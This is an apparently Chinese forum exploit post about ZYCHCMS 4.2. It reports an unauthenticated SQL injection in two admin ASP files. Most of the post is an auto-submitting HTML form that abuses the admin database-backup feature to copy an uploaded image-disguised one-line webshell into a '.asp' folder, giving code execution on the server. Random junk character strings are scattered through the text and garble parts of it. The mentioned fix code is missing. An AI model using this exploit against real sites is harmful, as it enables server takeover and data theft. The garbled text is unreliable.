ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

' L" @+ G6 M9 s7 u4 O

8 a6 Q" P/ c& P0 H5 @
8 X1 T0 {' `/ K" B) @影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
①SQL注射漏洞
& L) b/ \1 T! C$ [) D% x2 h 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
* x; z0 A$ m, P) h) b; C* b8 g 漏洞原因：未过滤
* h. ~0 Y# ^6 w+ x! N2 F% X 漏洞代码：
都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码


②后台拿WBSHELL
进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
" F- g1 g( G/ f( O' {* P+ a3 l; w* G 这里在网上找了一个，改了下，将就着用。
/ f7 R. ^' x( r' F3 G 以下是代码本地提交代码

" d! n1 B% P" ^" v1 O; n% u
& i/ a4 E; b8 T" K<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
9 C" ?( m, W2 T2 m$ u9 J3 a% { <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
- Z1 m/ h: ~/ ? <tr>
6 ^. P8 T" \; n4 {* G <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
</tr>
" I$ I' S( J* C8 I/ } <tr>
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
: b, G$ m/ g! H* Q </span>
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
1 l5 }; m( B& y- \  r- e; | <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
7 ]4 _0 Q9 e* W8 S. d <div align=”left”>
6 L$ Z8 B, ?1 L9 a" N& N <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
: t: U7 J* `  {! C) X <!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
9 R7 A4 _3 T/ T- a# P9 b/ @ </tr>
3 z& {& S/ C) K# j. ^/ D0 { <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
, _3 P& Q& e8 O9 F# F! v* c$ \ <td class=”td”><div align=”left”>
) T1 _, u% q+ r- ~- Q <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
[如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
+ R' V* j$ z! R9 T( O% r' e </tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
: y$ \: o% Y/ e  G# R <td class=”td”><div align=”left”>
: ^: B* Z. \$ f, C0 ` <input type=”submit” value=”确定备份” class=”btn”
</div></td>
</tr>
; ^: @* D4 |8 E! `; u </table></td></tr></form>
$ Z3 l( M1 ~- b6 l) d2 d( r </table>
2 A7 l) B; F, f+ U6 F </td>
+ w6 b  z; X: u7 d5 k% k </tr>
0 `3 `2 z! \/ ^  C: E$ Z </table>
<script>
document.all.add.submit();
</script>

6 q' W. `6 W+ Y. N, f4 W1 o& |* m
- Y) ~2 D" u# y1 [6 c0 o0 s3 X

8 f" s/ {  O2 x1 V0 x4 {% j  O# n
4 ~. f' q* q  g6 {7 r
9 G: C. ]# S8 j7 a( z3 A- G

* a% a' t; |4 b& t/ x

  w; ^4 N$ ^0 R) ~: y' O$ y6 m1 G